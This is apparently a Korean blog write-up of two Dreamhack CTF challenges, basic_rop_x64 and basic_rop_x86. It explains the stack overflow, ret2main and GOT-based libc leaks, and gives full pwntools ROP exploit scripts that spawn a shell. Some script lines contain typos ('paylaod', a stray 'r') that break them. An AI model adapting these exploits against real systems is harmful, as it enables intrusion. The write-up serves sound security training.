basic_rop_x64
https://dreamhack.io/wargame/challenges/29
Analysis
차근차근 분석해보장 :)
보호기법 확인 : checksec
사용
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- ASLR과 NX가 적용되어있다.
- ASLR : 실행 시마다 스택, 라이브러리 등의 주소가 랜덤화
system
함수의 주소가 계속 변하게 되지만 ASLR로 인해 변경되는 주소는 라이브러리가 배핑된 Base주소이고, 이에따라 라이브러리 내부함수들의 offset값은 변경 XBase 주소 + system함수의 offset
으로system
함수의 바이너리에서의 주소를 구할 수 있다.
- NX : 임의의 위치에
셸코드를 집어넣은 후 그 주소의 코드를 바로 실행X ⇒ ROP 이용하여 해결해보자.
- ASLR : 실행 시마다 스택, 라이브러리 등의 주소가 랜덤화
Code
// basic_rop_x64.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
- buf에 입력을 받고, buf의 값을 출력한다.
- buf[0x40]에 0x400만큼 입력가능 ⇒ bof 발생
- read가 실행된 이후
read
함수의 주소는 GOT에 등록되어있기 때문에,read
함수의 GOT값을 읽으면read
함수의 주소를 구할 수 있다.
- buf의 위치는
rbp-0x40
이다.
- buf에서 RET 까지의 거리는 0x48이다.
/bin/sh
문자열 주소 계산하기
- gdp-gef 기준으로
search-pattern "/bin/sh"
로 구할 수 있다.- 0x7ffff7f5a678
libc = ELF("./libc.so.6", checksec=False)
->sh = list(libc.search(b"/bin/sh"))[0]
로 구할 수 있다.
ret2main
ret2main
: 라이브러리의 base 주소를 모르기 때문에 ret2main 기법을 사용하여 원하는 정보를 얻은 후, 다시main
함수로 돌아와 원하는 명령어를 계속 이어 나간다.- 먼저
write
함수 또는puts
함수를 사용해 libc_base를 구한 후 이용하여system
함수와 문자열의 주소를 계산해 준다. - 두번째 main 함수 시작시 bof를 이용해
system
함수를 호출하게 만든다.
- 먼저
Exploit
공격 시나리오
1. ROP chaining: puts(read_got) -> call main
2. libc_base 구하고, system함수와 "/bin/sh" 문자열 addr 구하기
3. ROP chaining: system("/bin/sh")
잘 안되면, context.log_level = 'debug' 나 gdb.attach(p) 를 이용해 디버깅해보거나, 한줄씩 recvline()을 출력해보자.
from pwn import *
p = remote('host1.dreamhack.games',20673)
#p = process('./basic_rop_x64')
libc = ELF('./libc.so.6')
e = ELF('./basic_rop_x64')
# context.log_level = 'debug'
rop = ROP(e)
pop_rdi = (rop.find_gadget(['pop rdi','ret']))[0]
ret = (rop.find_gadget(['ret']))[0]
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols["main"]
# overwrite buf
payload = b'A'*0x40 + b'B'*0x8 # dummy
payload += p64(pop_rdi) + p64(read_got) # rdi = &read_got
payload += p64(puts_plt) # call puts(read@got) read@got 위치 출력
payload += p64(main_addr) # call main
p.sendline(payload)
# pause()
## Base addr ?
print(p.recvuntil(b'A' * 0x40)) # write(1, buf, 0x40) 가 호출될테니까..
#leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
leak = u64(p.recvline()[:-1] + b'\x00\x00') - libc.symbols['read']
## System addr ?
system = leak + libc.symbols['system']
## "/bin/sh" addr ?
binsh = leak + next(libc.search(b'/bin/sh'))
log.info(f'Libc base : {hex(leak)}')
log.info(f'system addr : {hex(system)}')
log.info(f'binsh addr : {hex(binsh)}')
# overwrite buf 2
payload2 = b'A'*0x40 + b'B'*0x8
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(ret)
payload2 += p64(system)
p.sendline(payload2)
# pause()
p.interactive()
basic_rop_x86
https://dreamhack.io/wargame/challenges/30
32bit 함수 규약
- 64bit와 다르게, EBP와 ESP를 이용하여 프레임별로 사용중인 스택 영역을 확인 가능
- 인자가 stack으로 전달되기 때문에, 함수를 연속해서 호출하려면 esp위치를 맞춰줘야한다,
- 32bit에서 가젯의 용도는 오로지 esp값을 증가시키는 것이므로 pop 대신 add를 사용해도된다.
- 32bit에서 가젯의 용도는 오로지 esp값을 증가시키는 것이므로 pop 대신 add를 사용해도된다.
cdecl
(default)- caller 쪽에서 스택 정리
- 매개변수를 stack에
push
하여 함수 호출시 전달 - 메인에서
esp
를 사용하여 스택 정리
stdcall
- callee 쪽에서 스택 정리
- 매개변수를 stack에
push
하여 함수 호출시 전달 - add함수의 return 명령에 정리할 스택 크기를 포함시켜 정리
fastcall
stdcall
방식과 같음- 파라미터 두개를 ecx, edx에 저장한 후 stack에
push
하여 함수 호출시 전달
x86기준 ROP 방식?
- Gadgets
- 호출 하는 함수의 인자가 3개 일 경우 : "pop; pop; pop; ret"
- 호출 하는 함수의 인자가 2개 일 경우 : "pop; pop; ret"
- 호출 하는 함수의 인자가 1개 일 경우 : "pop; ret"
- 호출 하는 함수의 인자가 없을 경우 : "ret"
- 익스플로잇 방법
- read로 /bin/sh을 쓰기 가능 메모리 영역에 저장
- 쓰기 가능한 메모리 공간 알아내기
- gdb에서
vmmap
으로 w 영역 확인하기 readelf -S [파일명]
으로 .bss(초기화되지않은 쓰기영역)의 주소확인하여 w영역 내에 속했는지 보고 /bin/sh을 넣을 시작 주소로 잡는다.
- gdb에서
- pop;pop;pop;ret 가젯 위치 알아내기
- 쓰기 가능한 메모리 공간 알아내기
- write로 read.got에 저장된 값 출력 (실제 read 주소)
- read(), write() 함수의 plt, got
- plt는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어있다.
- read(), write() 함수의 plt, got
- read로 read.got에 system 함수 주소로 덮어쓰기
- system 함수 주소 알아내기
- read 호출하기(system이 실행됨)
- read로 /bin/sh을 쓰기 가능 메모리 영역에 저장
Analysis
분석하기
Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
- buf 크기 0x40 , 0x400만큼 입력받음 => bof 발생
- 0x40 만큼 buf 출력
보호기법 확인
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- NX 기법 적용 -> stack에서 쉘코드 실행 불가 -> ROP로 우회
stack 구조
- buf에서부터 ret까지 거리는 0x48
- pr : 0x0804868b
- ppr : 0x08048689
Exploit
공격 시나리오
1. ROP chaining : write(1,read_got,len(str(read_got))로 libc_base 구하고, system함수와 "/bin/sh" 문자열 addr 구하기
2. ret2main
3. ROP chaining: system("/bin/sh")
1. ROP chaining : write(1,read_got,len)로 필요한 주소 계산하기
- gdb에서
search-pattern "/bin/sh"
를 하여 확인할 수 있다.
# 1. write(1,read_got,len(str(read_got))) -> main
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
payload += p32(main) # ret2main
p.sendline(payload)
p.recvuntil(b'DDDD')
# 2. leak
leak = u32(p.recv(4))
libc_base = leak - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
2. ROP chaining : system('/bin/sh')
# 3. system('/bin/sh')
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
paylaod += p32(system)
payload += p32(pop)
payload += p32(binsh)
p.sendline(payload)
전체 exploit
from pwn import *
#context.log_level = 'debug'
p = process('./basic_rop_x86',env={"LD_PRELOAD":"./libc.so.6"})
#p = remote('host3.dreamhack.games',12513)
#gdb.attach(p)
e = ELF('./basic_rop_x86')
#rop = ROP(e)
libc = ELF('./libc.so.6')
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']
pppr = 0x08048689 # rop.find_gadget(['pop esi';'pop edi';'pop ebp'])[0]
pop = 0x804868b
stdin = 0
stdout = 1
#pause()
# 1. write(1,read_got,len(str(read_got))) -> main
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
payload += p32(main)
p.sendline(payload)
p.recvuntil(b'DDDD')
# 2. leak
leak = u32(p.recv(4))
libc_base = leak - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
# 3. system('/bin/sh')
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
paylaod += p32(system)
payload += p32(pop)
payload += p32(binsh)
p.sendline(payload)
p.interactive()
exploit ver2
다른 사람코드보면서 풀어본 방식인데, 코드가 매우 마음에 안들어서 그냥 위 방식대로 풀었음
쓰기 가능 영역 구하기
- gdb에서
vmmap
으로 각 영역의 권한 확인하기- 0x0804a000 ~ 0x0804b000 까지가 쓰기 가능영역이다.
readelf -S [파일명]
- 일반적으로 .bss영역이 쓰기 가능영역인데, 쓰기 영역에 포함되므로 해당주소를 “/bin/sh” 문자열을 저장할 주소로 사용해도 될 듯.
- 0x0804a040
bss = e.bss()
- 일반적으로 .bss영역이 쓰기 가능영역인데, 쓰기 영역에 포함되므로 해당주소를 “/bin/sh” 문자열을 저장할 주소로 사용해도 될 듯.
전체 exploit
from pwn import *
#context.log_level = 'debug'
p = process('./basic_rop_x86',env={"LD_PRELOAD":"./libc.so.6"})
e = ELF('./basic_rop_x86')
rop = ROP(e)
libc = ELF('./libc.so.6')
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main_addr = e.symbols['main']
binsh = b"/bin/sh\x00"
pppr = 0x08048689 # rop.find_gadget(['pop esi';'pop edi';'pop ebp'])[0]
# pop = 0x804868b
bss = 0x0804a040 # e.bss()
stdin = 0
stdout = 1
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
# write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
# read(0, bss, len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(bss)
payload += p32(8)
# read(0,read_got, len(str(write_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(4)
# system(bss)
payload += p32(read_plt)
payload += p32(0xdeadbeef) # 아무 주소로 ret 값을 입력하여 종료시킨다.
payload += p32(bss)
p.send(payload)
p.recvn(0x40)
leak = u32(p.recvn(4))
libc_base = leak - libc.symbols['read']r
system = libc_base + libc.symbols['system']
p.send(binsh) # bss영역에 binsh 작성
p.sendline(p32(system))
p.interactive()
'Pwn' 카테고리의 다른 글
CTF 문제풀이에서 Dockerfile 활용법 (0) | 2025.03.13 |
---|---|
[PWN Dreamhack] PIE & RELRO (0) | 2025.03.13 |
ROP 완벽 이해와 추가 예제 풀이 (0) | 2025.02.26 |
[PWN Dreamhack] RTL, ROP (0) | 2025.02.22 |
[PWN Dreamhack] Stack Canary (0) | 2025.02.21 |